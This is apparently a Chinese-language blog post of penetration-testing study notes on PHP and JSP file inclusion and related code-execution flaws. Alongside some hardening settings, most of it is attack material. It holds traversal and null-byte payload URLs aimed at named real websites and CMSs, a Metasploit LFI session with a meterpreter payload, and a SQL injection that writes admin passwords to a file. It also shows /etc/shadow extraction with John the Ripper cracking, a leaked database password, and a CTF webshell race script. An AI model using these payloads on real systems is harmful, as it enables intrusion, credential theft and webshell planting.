Web_FileInclusion学习

文件包含漏洞

简介:

代码注入的一种,JSP,PHP,ASP 等语言中

PHP             include(), include_once(), require(), require_once(), fopen(), readfile(),popen(),system(),passthru(),exec() eval(),

    assert(), system(), exec(), shell_exec(), passthru(), escapeshellcmd(), pcntl_exec()  等

比较特殊的比如允许上传PHP代码,或者是应用写入到服务器的文件内容和文件类型可以由用户控制,都能导致代码执行

JSP/Servlet: ava.io.File(), java.io.FileReader(), ````

ASP              include file, include virtual, ```


include(), include_once(), require(), require_once() 包含一个新的文件时,该文件将作为PHP代码执行,PHP内核并不会在意被包含的文件是什么类型

include($_GET[test]);

?>

www.xxx.com/test.php?test=fortest.txt 当txt 包含了可执行的PHP 代码时,如:


成功条件: 

1)include 等函数通过动态变量的方式引入需要包含的文件

2)用户能够控制该动态变量


本地文件包含

$file = $_GET['file'];  // “ ../../etc/passwd\0”

if(file_exists('/home/wwwrun' . $file . '.php')){xxx}

?>


一般的WEB 应用都应该禁用 \0 -- 00 字节


操作系统对目录最大长度的限制: 最大长度字符将被丢弃

Windows 下 256字节  linux  4096字节 

./././././././././abc  或者 //////////abc 等

 

文件包含漏洞:

http://xxxx&pid=../../../../../../etc/passwd  目录遍历漏洞


不同的编码方式来绕过一些服务器逻辑:

%2e%2e%2f              ../

%2e%2e/                   ../

..%2f                          ../

%2e%2e%5c             ..\

..%5c                         ..\

%252e%252e%255c ..\

..%255c                     ..\


某些WEB 容易支持的 编码方式:

..%c0%af                     ../

..%c1%9c                    ..\


目录便利漏洞是一种跨域目录读取文件的方法,当PHP 配置了 open_basedir 将很好的保护服务器

open_basedir 作用是限制在某个特定的目录下PHP能打开的文件,作用和 safe_mode 是否开启无关

open_basedir 是目录的前缀 

假设 open_basedir = /home/app/aaa

实际上open_basedir = /home/app/aaabbb 都是允许的

 假设 open_basedir = /home/app/aaa/   那么就只能这个目录了

windows 下目录应当用 ;  隔开     linux  下则用 : 隔开


解决方法:

1)避免用动态的变量,尤其是用户可以控制的变量

2)变通方式,使用枚举 避免

$file = $_GET['file'];

switch($file){

case 'main':

case 'nar':

include '/home/wwwrun' . $file . '.php';

break;

}

?>

3) register_globals =off 新版本的默认设置

open_basedir 限制PHP 只能操作指定目录下的文件 设置open_basedir=xx/xxx/

allow_url_fopen = off

allow_url_include = off

错误回显一般常用于开发模式 display_error = off

log_errors = on 错误信息记录在日志里

magic_quotes_gpc   转义一些东西, 单引号  双引号  反斜线  NULL 字符  自动加上一个反斜线进行转义  推荐关闭

cgi.fix_pathinfo PHP以CGI 的方式安装,则需要关闭此项,以避免文件解析问题,参考

开启httponly  session.cookie_httponly=1

全站HTPS 则开启 session.cookie_secure=1

如果是共享环境开启safe_mode 和diable_functions配合使用

如果是单独的应用环境,则可以考虑关闭它,更多地依赖diabke_functions控制运行环境安全

如果开启 safe_mode 则 exec(),system(),passthur(),popen() 等函数并非被禁用,而是只能执行在safe_mode_exec_dir 所指定目录下存在的可执行文件。如果允许这些哈叔,bane设置好 safe_nide_exec_dir的值并将此目录设置为不可写




远程文件包含 Remote File Inclusion:

如果PHP 的配置选项是 allow_url_include 为ON 的话,则include/require 函数是可以加载远程文件的

if($route == "share"){require_once $basePath . '/action/m_share.php';}

elseif( $route == "sharelink") {require_once $basePath . '/action/m_sharelink.php';}

?>

在变量 $basePath 前没有设置任何障碍,

构造test.txt 为

www.a.com/test.php?test=http://www.b.com/test.txt?

包含远程文件后,获得命令执行


本地文件写入:

常见的函数较多,常见 file_put_contents(), fwrite(), fputs() 等


本地文件利用技巧:

1) 包含用户上传文件

用户上传的文件内容中如果包含了PHP代码,那么这些代码被include() 后就将执行

能否成功取决于  上传功能的设计了,比如要求知道用户上传后文件的物理路径等


2)包含 data://  php://inout 等协议
需要服务器支持,同时要求 allow_url_include 设置为  ON

php 5.2 之后支持 data: 伪协议,可以方便地执行代码,同样要求 allow_url_include  为ON 

举例: http://xxx.com/xxx.php?file=data:text/plain,%00


3)包含 Session 文件

比较苛刻,需要控制部分 Session 文件的内容:

xls:19:""

php 默认生成的 Session 文件往往存放在 /tmp 目录下,比如  /tmp/sess_SESSIONID


4)包含日志文件,比如web server 的 access log

通用的技巧, access_log 里记录了客户端的请求信息,在 error_log 里记录出错请求。因为攻击者可以间接地将PHP代码写入日志文件中,在文件包含时,只需要包含日志文件

日志文件可能很大,一般会滚动日志,或每天生成一个新的日志,因此凌晨包含日志文件成功性比较大

apache 为例

httpd 的配置文件 httpd.comfm 找到日志文件的目录, httpd.conf 一般会存在 apache 的安装目录下

redhat 系列里迷人安装目录为 /etc/httpd conf/httpd.conf , 而自定义 安装的可能在 /usr/local/apache/conf/httpd.conf 

常见的日志文件可能在 

../var./log/httpd/access_log

../var./log/httpd/error_log

../apache/logs/error.log

../apache/logs/access.log

../etc/httpd/logs/access_log

../etc/httpd/logs/error_log

../var/www/logs/access_log
../var/www/logs/error_log
等等~~~~
包含脚本自动化完成包含日志文件的攻击
hander     >use     exploit/unix/webapp/php_lfi
set  RHOST x.x.x.x
set URI /index.php?f00=xxLFIxx
set RPOST  8181
set payload php/meterpreter/bind_tcp
exploit -z
sessions -i 1
ls
sysinfo
exit
另外可能没有关闭回显 让我得到路径


5)包含/proc/self/environ 文件

http://xxx.com/xxx.php?page=../../../../../proc/self/environ

web 进程运行时的环境变量,其中很多都是用户可以控制的,最常见的做法是在 User-Agent 中注入  PHP 代码,比如:

最终完成攻击

如果设置了 open_basedir 就困难了~~~~~~~~~~~~~


6)包含上传的临时文件 (RFC1867)

PHP 会为上传文件 创建临时文件,其目录在php.ini 的upload_tmp_dir 中定义。 但该值默认为空

此时在Linux 下会使用 /tmp 目录, 在 windows 下爱会使用  c:\windows\temp

临时文件的文件名是随机的,必须猜测出文件名才能利用漏洞

windows 下仅有 65535 中不同的文件名


7)包含其他应用创建的文件, 数据库文件,缓存文件,应用日志等


小总结:

1)

当register_globals=Off的时候,下一个程序接收的时候应该用$_GET['user_name']和$_GET['user_pass']来接受传递过来的值。

(注:当

的method属性为post的时候应该用$_POST['user_name']和$_POST['user_pass'])  
当register_globals=On的时候,下一个程序可以直接使用$user_name和$user_pass来接受值
顾名思义,register_globals的意思就是注册为全局变量,所以当On的时候,

传递过来的值会被直接的注册为全局变量直接使用,而Off的时候,我们需要到特定的数组里去得到它


代码:    print $a;  print $_GET[b];

常见 禁用 register_globals 代码:

if(ini_get('register_globals')) foreach($_REQUEST as $k=$V) unset(${$k});

在$a 未初始化, register_globals = ON 时,再尝试控制 $a  的值,会因为这段及弄代码而出错

提交 http://xxx.xxx.php?a=1&b=2 我错

而当尝试注入 "GLOBALS[a]" 以覆盖全局变量时,则可以成功控制变量 $a 的值

提交 http://xxx.xxx.php?GLOBALS[a]=1&b=2 显示变量 a的值

因为 unset() 默认只会销毁局部变量,要销毁全局变量必须使用 $GLOBALS

$bar = "something";

unset($GLOBALS['bar']);

 register_globals = OFF  时 就无法覆盖 全局变量了


2)  extract 变量

extract 从用户可以控制的数组中导出变量,可能发生变量覆盖,

extract($_GET) 导致任意变量被覆盖   xxx.com/xxx.php?auth=1


3) import_request_variables 变量覆盖

将GET POST Cookie 中的变量导入到全局,使用只需要简单的指定类型即可

import_request_variables('G')  指定导入GET 请求中的变量


4)  parse_str() 变量覆盖

parse_str 函数往往 被用于解析URL 的 query string 当参数被用户控制时,很可能导致变量覆盖

$var = 'init'; //var.php?var=new 变量覆盖

parse_str($_SERVER['QUERY_STRING']);

print $var;

query string 的变量解析后存入该数组变量中。因此使用函数时应该养成指定第二参数的好习惯~

与函数类似的还有 mb_parse_str()


安全建议: 确保 register_globals=OFF 若不能自定义php.ini 则应该在代码中控制


举例:

parse_str($_SERVER['QUERY_STRING']);

session_write_close();

$_SESSION = array();

session_write_close();

$id = $c = $cf->getConfig()

发现  $ret .= '/*Server: '. strtr($cf->getServerName($id), '*/', '-') ."[$id] */".$crlf

最终发现 $c 是在 Session 中取得的,而我们通过前面的看到可以覆盖 Session 中的热议变量控制变量 $c

此漏洞利用条件 是config 目录存在并可写,很多时候管理员可能会在初始化安装后删除 config 目录


5)

apache 6.0 或者6.1

存在漏洞~~~


6) preg_replace()  第一个参数如果存在 /e 模式修饰符,则允许代码执行

$var = 'phpinfo()';

preg_replace("/(.*?)<\/tag>/e",'addslashes(\\1)',$var);

?>

即便没有,我们可以注入一个  /e%0截断文本,注入一个/e


$regexp = $_GET['re'];

$var = 'phpinfo()';

preg_replace("/(.*?)$regexp<\/tag>/e",'\\1',$var);

?>

我们构造URL xxx.php?re=<\/tag>/e%00

当第一个参数中包含了 /e 时,那么只要控制第二,或者第三参数都可以导致代码执行

7)

$dyn_func = $_GET['dyn_func'];

$argument = $_GET['argument'];

$dyn_func($argument);

?>

这种写法类似后门  xxx.php?dyn_func=system&argument=uname

8)

create_function()

$foobar = $_GET['foobar'];

$dyn_func = create_function('$foobar', "echo $foobar;");

$dyn_func('');

?>

payload:  xxx.php?foobar=system('ls');

9)

Curly Syntax 将执行花括号间的代码,并将结果替换回去

$foobar = 'phpinfo';

$('foobar')();

?>

10)

回调函数执行代码

$evil_callback = $_GET['callbaack'];

$somearray = array(0,1,2,3);

$new_array = array_map($evil_callback,$some_array);

?>

xxx.php?callback=phpinfo

下面列出可以执行 callback 参数的函数:

array_map() , usort(), uasort(), uksort(), array_filter(), array_reduce(), array_diff_uassoc(), array_diff_ukey()

````````

ob_start() 实际上也可以执行回调函数,

~~~~

11)

unserialize() 导致代码执行

能将序列化的数据重新映射为 PHP变量。但是执行时如果定义了_destruct(),或 _wakeup()函数,则这两个函数将执行

网络搜索笔记:

1) 

ckplayer/video.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00

右键查看源文件


2)

xxxxxxx/overtime.action    看看 是否 存在str2漏洞。

xxx/Login/login.action

queryHelp.page?pag=../../../../etc/shadow 


3)

传递sub=index?     后页面报错  /event/view_sub/view_/index  is not available

猜测 处理代码  '/event/view_sub/view_' + 'sub 参数 ' + '.jsp'

提交sub=1后显示正常,经过证明/event/view_sub/目录下确实有view_1.jsp

所以猜测是正确的

然后就是构造包含了,在包含这里卡了很久发现跨不出 event目录 然后web服务器是tomcat 所以读不了conf下的配置文件.

sub=/../../../WEB-INF/web.xml?

/event/view_sub/view_/../../../WEB-INF/web.xml?.jsp

?伪截断,这种截断可以用在脚本文件还有.xml .txt .css .js .html 这类文件

看到 web.xml  寻找信息  发现一个目录

这个目录就是pics.vasee.com域名的目录 用来存放图片的

在官网所有上传处都有漏洞可以上传jsp文件,不过当访问jsp的时候会给你解析成图片这就蛋疼了,不过现在目录有了,这俩域名都是一个服务器IP,然后在用包含漏洞包含jsp就能得到一个shell了

/WEB-INF/config.properties  读取到数据库连接信息

不过悲剧又来了,没有开放数据库端口

然后想到连它的SSH端口  postgresql的postgres用户存在于系统帐号

psql -h x,x,x,x -u dbuser -d dbname

连接成功了权限是数据库权限 #hibernate.connection.password=vpaosseteg

最后发现漏洞代码: 


4)远程文件包含

php?cate_id=13&m=Article&temp=c%3A%2Fboot.ini


5)

http://地址:1080/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

http://地址:1080/bsc_wlan.php?NO_NEED_AUTH=1&AUTH_GROUP=0


6) 

PHP<5.3.4

FengCMS本地文件包含

/app/controller/searchController.php:
public function index(){
if(!empty($_POST)){
if(URL_TYPE==1){
                echo 'controller=search&project='.$_POST['project']
.'&tags='.$_POST['tags']:'/tags/'.$_POST['tags'].'.html').'">';  
}else{
echo '';
}
}else{
if ($_GET['tags'] != '') {
$encode = mb_detect_encoding ( $_GET['tags'], array ("ASCII", "UTF-8", "GB2312", "GBK", "BIG5" ) );

if ($encode != "UTF-8") {

$_GET['tags'] = iconv ( "gb2312", "UTF-8", $_GET['tags'] );
}
}
if($_GET['tags']){

if($_GET['project']!=""){
return $this->display($_GET['project'].'_search.html');
}else{
return $this->display('search.html');
}
}else{
echo '';
}
}
}
}


/system/core/controller.php:27行
public function display($path,$data=""){
if(!isset($path)){
return throwexce(sprintf('Template file does not exist!'));
}else{
$tpl= new template();
if(!empty($data)){
extract($data,EXTR_OVERWRITE);
}
include template::tpl($path);
}
}

poc:    

xx/fengcms/index.php?controller=search&operate=index&tags=1&project=../../../../../../../windows/win.ini%00


7)

 /etc/passwd是用户数据库,其中的域给出了用户名、加密口令和用户的其他信息. /etc/shadow是在安装了影子(shadow)口令软件的系统上的影子口令文件。影子口令文件将/etc/passwd 文件中的加密口令移动到/etc/shadow中,而后者只对超级用户( r o o t )可读。这使破译口令更困难,以此增加系统的安全性
使用shadow密码文件后,/etc/passwd文件中所有帐户的password域的内容为"x",如果password域的内容为"*",则 该帐号被停用


www.xxx.edu.cn/xxx/fmod.do?method=down&url=../../../../../../../etc/passwd&id=77

www.xxx.edu.cn/xxx/fmod.do?method=down&url=../../../../../../../etc/shadow&id=77


John the Ripper安装
[root@localhost ~]# tar -xjvf john-1.7.3.4.tar.bz2
[root@localhost ~]# cd john-1.7.3.4
[root@localhost john-1.7.3.4]# ls
doc  README  run  src
[root@localhost john-1.7.3.4]# cd src/
[root@localhost src]# make
[root@localhost src]# make generic
unshadow得到破解口令文件
[root@localhost run]# ./unshadow /etc/passwd /etc/shadow >pass
破解并显示口令文件
[root@localhost run]# ./john pass
Loaded 3 password hashes with 3 different salts (FreeBSD MD5 [32/32])
switch           (switch)
000000           (mysql)
000000           (test)

guesses: 3  time: 0:00:07:01 (3)  c/s: 2293  trying: mudwican
Session aborted
显示原始加密口令和破解后的口令
[root@localhost run]# cat john.pot

$1$hFWcRMkj$gxhNjceFVXClILTQJdnQI.:000000
$1$t8WjbybU$52mXVWGY3gqVMpi6/5cMj1:000000
$1$YMsr.toK$j1uZ6fgxFcCHaJrJvyHxV1:switch


8)

http://localhost/maccms8_mfb/index.php?m=user-regcheck-s-123%2527%2520and%2520BENCHMARK%252850000000%250A%252Cmd5%2528%2527test%2527%2529%2529%2523-t-u_name
解密~

http://localhost/maccms8_mfb/index.php?m=user-regcheck-s-123%27%20and%20BENCHMARK%2850000000%0A%2Cmd5%28%27test%27%29%29%23-t-u_name
解密~

http://localhost/maccms8_mfb/index.php?m=user-regcheck-s-123' and BENCHMARK(50000000,md5('test'))#-t-u_name


得到路径了,但是index.php里的一段代码让我瞬间傻了,

$m = be('get','m');
    if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }

也就是说其实传来的参数只会获取第一个点号出现之前的部分,


http://localhost/maccms8_mfb/index.php?m=user-regcheck-s-123%2527%2520union%2520select%2520m_password%2520from%2520mac_manager%2520into%2520outfile%2520%2522C%253A%255C%255CAppServ%255C%255Cwww%255C%255Cmaccms8_mfb%255C%255Cinc%255C%255Ccommon%255C%255Ctest%2522%2523-t-u_name
解密~

http://localhost/maccms8_mfb/index.php?m=user-regcheck-s-123%27%20union%20select%20m_password%20from%20mac_manager%20into%20outfile%20%22C%3A%5C%5CAppServ%5C%5Cwww%5C%5Cmaccms8_mfb%5C%5Cinc%5C%5Ccommon%5C%5Ctest%22%23-t-u_name
解密~

http://localhost/maccms8_mfb/index.php?m=user-regcheck-s-123' union select m_password from mac_manager into outfile "C:\\AppServ\\www\\maccms8_mfb\\inc\\common\\test"#-t-u_name


将password 写入文件


9) 本地写入文件,拿到 webshell

URL: http://www.comsenz.com/#

解密


10)

http://labs.chinamobile.com/imic/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fvar%252Fwww%252Fmobilehub%252Fwww%252Fincludes%252Fsettings.php%2500.jpg


http://labs.chinamobile.com/imic/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Fwww%2Fmobilehub%2Fwww%2Fincludes%2Fsettings.php%00.jpg


http://labs.chinamobile.com/imic/../../../../../../../../../../var/www/mobilehub/www/includes/settings.php�.jpg


10)  本地写文件漏洞:

图片木马嵌入代码为

gif89a");?>


11)

http://baozouwushuang.com/index.php?c=ajaxproxy&url=index.php

http://baozouwushuang.com//index.php?c=ajaxproxy&url=../../../../../../../../../../etc/passwd


12)

www.whxzfw.gov.cn/index/downLoadFile.action?fileName=1-1

%B9%AB%B9%B2%B3%A1%CB%F9%CE%C0%C9%FA%D0%ED%BF%C9%C9%EA%C7%EB%CA%E9%CA%BE%B7%B6%CE%C4%B1%BE.doc&

filePath=WEB-INF/web.xml


www.whxzfw.gov.cn/index/downLoadFile.action?fileName=1-1

���������������������ʾ���ı�.doc&

filePath=WEB-INF/web.xml


13) 

拓普网络  存在文件包含的漏洞,需要配合00截断来使用。

index.php?c=MTA3==&op=../../../../../../../../../../etc/passwd%00.jpg


14) 一般  Windows  使用  中国菜刀什么的  写入一句话即可

linux   就  

上传大马上去管理什么的~~~~~


15)

直接  用 .. 测试  有无文件包含漏洞~~~~~~~~~

 一般先找到  文件包含漏洞处,然后上传图片什么的  里面包含PHP代码,包含这个图片即可执行PHP代码

然后我们 看  看被禁用的函数等信息


16 超长路径截断~~~~~~~~~

用 burpsuite  intruder 去测试

magic_quotes_gpc    off

Server: Apache/2.2.6 (Win32) PHP/5.2.5

. / ./ /. 这四个字符串分别就以下进行测试
test 相对路径    jpg$a$
--------------------------------------
test/file.php?file=test.jpg    .   /   /.
test/file.php?file=../test.jpg  
test/file.php?file=1/test.jpg  .    /   /.
--------------------------------------
超长字符串截断与gpc开启关闭无关
当被包含test/file.php?file=1/1.jpg .  ./  /
当被包含文件test/file.php?file=1/test.jpg  .    /  /.
超长字符串截断只能包含当前目录和子目录


16

web400a就是抓包会看到一个文件上传的表单,上传文件后会给出上传后的路径和文件名,发现文件名与当前时间相关。
如/upload/upload/20140920170801.php。但是访问的时候会发现被删了。因此需要不断发生请求在被删之前访问到上传上去的脚本。脚本内容为在上一
级目录生成一句话。


#!/usr/bin/python

import time
import requests

while 1:
    url = "http://web400a.alictf.com/upload/upload/"
    now = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    url = url + str(now) + ".php"
    res = requests.get(url)
    print res.status_code
    if res.status_code == 200:
        print res.text
    time.sleep(0.3)


'); ?>

然后在上级目录找到上传后的一句话,就可以菜刀连接了。











你可能感兴趣的:(渗透学习)